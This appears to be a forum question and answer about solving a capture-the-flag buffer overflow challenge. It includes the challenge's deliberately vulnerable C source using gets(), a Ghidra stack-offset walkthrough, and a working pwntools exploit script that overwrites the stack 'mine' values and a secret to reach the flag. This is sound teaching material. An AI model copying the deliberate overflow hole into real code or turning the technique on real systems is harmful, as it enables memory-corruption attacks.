This is my CTF challenge
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int setup() {
setbuf(stdin, 0);
setbuf(stdout, 0);
}
int win() {
char* argv[3] = {"/bin/cat", "flag.txt", NULL};
printf("Good job!\n");
execve("/bin/cat", argv, NULL);
}
int vuln() {
char secret[0x10] = "[REDACTED]";
char mine1[0x10] = "[REDACTED]";
char mine2[0x10] = "[REDACTED]";
char mine3[0x10] = "[REDACTED]";
char buf[0x20] = "";
printf("Welcome to the chamber of secrets, how would you pass the trial without knowing any secrets?\n");
printf("Input secret:\n");
gets(buf); // i heard i should be reading in more characters than the size of my buffer... so let's just use gets()!
// make sure no mines have been set off!
if (!strncmp(mine1, "O6FtZhpU6C6BXx16", 0x10) && !strncmp(mine2, "cZiwk5rfGFgPZYP4", 0x10) && !strncmp(mine3, "i165DnHauCmLqRHN", 0x10)) {
printf("Mines are safe!\n");
if (!strncmp(buf, secret, 0x10)) {
printf("What!? Impossible!! How did you guess it!?\n");
printf("Fine, here's the flag...\n");
win();
exit(0);
} else {
printf("Haha! You will never guess my secret!\n");
}
} else {
printf("You stepped on a mine!\n");
}
}
int main() {
setup();
vuln();
}
So, I have basically try to run it on gdb and find out the offset which is 104 which result in a segmentation fault. But now the issues is how do i prevent on triggering the mine, I have try several way to overwrite it by passing 16 "A" and follow by the reverse order of each mine but it fails.
Your approach is correct, you have to overflow the buffer to overwrite the values of mine1
, mine2
and mine3
with the required values to pass the first condition and then overwrite the variable secret
to match it to the data you input, after clearing both the conditions, you will get the flag.
I compiled the binary like this
gcc main.c -o test
The parameters are pushed onto the stack in reverse order so first I found the offset to the first mine variable in reverse order which is mine3
, I found the offset in ghidra to mine3
from our user input
undefined vuln()
AL:1 <RETURN>
Stack[-0x10]:8 local_10
Stack[-0x18]:8 local_18
Stack[-0x20]:8 local_20
Stack[-0x28]:8 mine1
Stack[-0x30]:8 local_30
Stack[-0x38]:8 mine2
Stack[-0x40]:8 local_40
Stack[-0x48]:8 mine3
Stack[-0x50]:8 local_50
Stack[-0x58]:8 local_58
Stack[-0x60]:8 local_60
Stack[-0x68]:8 user_inp
User input begins at 0x68 bytes from the return address and the difference between user input and mine3
is 0x68
- 0x48
= 0x20
(32 bytes in decimal)
The total padding between user input and the return address as you said is
0x68
or 104 bytes in decimal. We can see that each mine2
is just after mine3
and mine1
is just after mine2
so no need for offset calculation there. And we need to fill out the remaining padding between mine1
and the return address. Also you need to make sure that whatever you use as padding between the start of user input ad 0x68 bytes from the return address till mine3
and after mine1
till you reach the return address is the same data as that get stores in the variable secret
. We do this because in the process of padding we are also overwriting the value of the variable secret
and our user input should match the secret
.
Here is the exploit script, works perfectly
#!/usr/bin/env python3
from pwn import *
exe = "./test"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"
# host,port = '',
p = process(exe)
# p = remote(host,port)
offset1 = 32 # offset to reach first mine
param3 = b"O6FtZhpU6C6BXx16"
param2 = b"cZiwk5rfGFgPZYP4"
param1 = b"i165DnHauCmLqRHN"
total_padding = 104
# secret = b"[REDACTED]"
payload = flat(
b"a" * offset1,
param1,
param2,
param3,
(total_padding - len(param1) - len(param2) - len(param3) - offset1) * b"a",
)
p.sendlineafter(b":", payload)
p.interactive()
I found these offsets in ghidra although you can use gdb as well.